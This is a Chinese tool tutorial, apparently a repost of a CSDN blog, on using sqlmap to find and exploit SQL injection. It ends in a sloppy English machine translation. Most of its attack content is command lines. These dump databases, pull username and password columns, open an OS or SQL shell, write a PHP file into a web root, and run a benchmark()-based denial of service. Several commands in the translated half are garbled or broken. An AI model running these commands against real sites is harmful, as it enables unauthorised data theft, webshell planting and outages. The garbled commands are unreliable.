sqlmap介绍及简单实用

Sqlmap的使用

一、Sqlmap简介

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

支持的数据库:MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

sqlmap支持五种不同的注入模式:

  • UNION query SQL injection(可联合查询注入)
  • Error-based SQL injection(报错型注入)
  • Boolean-based blind SQL injection(布尔型注入)
  • Time-based blind SQL injection(基于时间延迟注入)
  • Stacked queries SQL injection(可多语句查询注入)

二、设置目标URL

-u /–url

最基本格式
#sqlmap -u“http://www.target.com/index.php?id=1”

-m

从文本中获取多个目标扫描,但是每一行只能有一个url.
#sqlmap -m urllist.txt

post方法

-r表示加载一个文件,-p指定参数

从文件中加载HTTP请求,这样的话 就不需要在去设定cookie,POST数据…等等。
使用http请求文件(burpsuite)
#sqlmap -r request.txt

-l

使用burpsuite log文件
#sqlmap -l log.txt

–forms 自动搜索表单的方式

#sqlmap -u“http://www.target.com/index.php?id=1” --forms

a method specified parameter -data

sqlmap -u “http://www.target.com/index.php?id=1” --data “n=1&p=1”

https method

-u #sqlmap " https: //target/a.php the above mentioned id = 1:? 8843 " --force-ssl
8843 is https port, if the machine is the default port 443 words may be omitted, or need to specify

-d

sqlmap as a database client library directly connected to the database burst
#sqlmap -d "mysql: // username: [email protected]: 3306 / dvwa" -f --users --banner --dbs --schema -a

-g

sqlmap scan Google search results
#sqlmap -d "inurl:". php & id = 1 ""

Scan profile

sqlmap -c sqlmap.conf

Third, set the echo level

Parameters: -v default is 1:

0, only python errors and serious information.
1, also displays the basic information and warning messages. (Default level)
2, displaying debug information.
3, the injected simultaneously displayed payload.
4, also shows the HTTP request.
5, also shows the HTTP response header.
6, and displays the HTTP response page.

Fourth, the parameters set HTTP packets

Parameters: -data

This parameter is the data behind the data submitted POST method, sqlmap would like to detect GET POST parameters as detection of past submitted parameters.
-u #sqlmap " http://www.target.com/vuln.php " --data = "the above mentioned id = 1"

Parameters: -cookie

When the web need to log in, we need to get caught get cookie parameters, and then copy it, added - cookie parameter.
-Cookie = "Cookie: Hm_lvt6910067,1546929561,1547001094,1547024662; PHPSESSID = o64fbvo316lg59njufl2gfutm4;"

HTTP User-Agent头

Parameters: -user-agent

Sqlmap default case where the value of the User-Agent HTTP request header is: sqlmap / dev-1.0-xxxxxxxxx ( http://sqlmap.org ) at this time can manually specify a fake User-Agent.
-u #sqlmap " http://www.target.com " --level. 3 --user-Agent = "AAAAAA" --dbs

Parameters: -random-agent randomly generates User-Agent header from sqlmap / txt / user-agents.txt in.

#sqlmap -u “http://www.target.com” --level 3 --random-agent --dbs

  • Sqlmap injection point in the examination uesr-agent, level> = 3 will go to check whether there is a user-agent header injection vulnerability
HTTP Referer头

参数:–referer

sqlmap可以在请求中伪造HTTP中的referer。
#sqlmap -u “http://www.target.com/?id=1” --referer=”http://www.baidu.com

  • 当–level参数设定>=3时,会尝试进行referer注入。

–delay

可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。

–safe-freq

请求次数

–timeout

可以设定一个http请求超过多少秒判定为超时,默认是30秒。

五、指定测试参数

从post数据包中注入

-p

sqlmap 默认会测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User- Agent和HTTP Referer头的值。例如:-p “id,user-angent”

可以使用burpsuite或者temperdata等工具来抓取post包
#sqlmap -r “c:\tools\request.txt” -p “username” --dbms mysql 指定username参数

–skip

在使用–level时,级别很大的时候,但是有些参数不能去测试,那么可以使用-- skip参数跳过。
例如:–skip=”user-agent,referer”

六、设定探测等级

–level (sqlmap -r 情况下)

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。

  • level>=2的时候就会测试HTTP Cookie。
  • level>=3的时候就会测试HTTP User-Agent/Referer头。
  • level=5 的时候会测试HTTP Host。

七、设定探测风险等级

–risk

共有四个风险等级,0-4,默认是1会测试大部分的测试语句,2会增加基于时间的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE,DELETE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

八、列数据

–dbs
–users
–passwords
–technique :指定使用哪种注入类型
–current-db 当前数据库
–privileges 权限
-D database_name --tables
-D database_name -T table_name --columns
-D database_name -T table_name -C column_1,column_2 --dump

查询有哪些数据库
#sqlmap -u “http://www.target.com/show.php?id=1” --dbms mysql --level 3 --dbs

查询test数据库中有哪些表
#sqlmap -u “http://www.target.com/show.php?id=1” --dbms mysql --level 3 -D test --tables

Queries test database admin table what fields
#sqlmap -u " http://www.target.com/show.php?id=1 " --dbms MySQL --level 3 -D test -T admin --columns

username field to dump the data in the password
#sqlmap -u " http://www.target.com/show.php?id=1 " --dbms --level MySQL. 3 -C ADMIN -D -T Test "username , password "--dump

In baji database search field or admin password
#sqlmap -R & lt "C: \ Tools \ request.txt" --dbms baji -D-Search -C MySQL admin, password

Nine, some of the commonly used parameters

–users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
–banner 查看数据库版本
–dbs 查看所有的库名
–schema 查看information_schema源数据信息
-a 就是all的意思,查看数据库所有信息
–current-user 在大多数据库中可以获取到管理数据的用户。
–is-dba 判断当前的用户是否为管理,是的话会返回True。
–privileges 当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看那个用户的权限。
–proxy 指定一个代理服务器 eg: –proxy http://local:8080
select * from users where id=(((‘1’))) and 1=1
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
eg:sqlmap -u “www.target.com/index.php?id=1” -p id --prefix “’))”
–suffix “AND (‘1’='1”

十、使用shell命令:

参数–os-shell

Premise: the need for a physical path through the site, followed by the need for FIILE rights.
#sqlmap -r "C: \ sqlmap \ request.txt" -p id --dms mysql --os-shell
next designated website writable directory:
"C: \ the WWW"
sqlmap -u " www.a.com/ 1.php? id = 1 "

= Write--file "D: /1.txt"
-file-dest = "E: /wwwroot/bihuoedu/one.php"
-batch automatic
-start = number of starts --stop = number of end
-dump derived data
-dump-all export all data
-purge-output empty the cache directory
-sql-shell rebound sqlshell, similar sql query analysis
default path .sqlmap (point sqlmap)

Eleven, DOS attacks

First, acquire the target site database shell
1,
#sqlmap -u " http://192.168.120.111/news.php?id=1" the --sql shell-
2,
#benchemark (99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

Guess you like

Origin blog.csdn.net/qq_37133717/article/details/93621097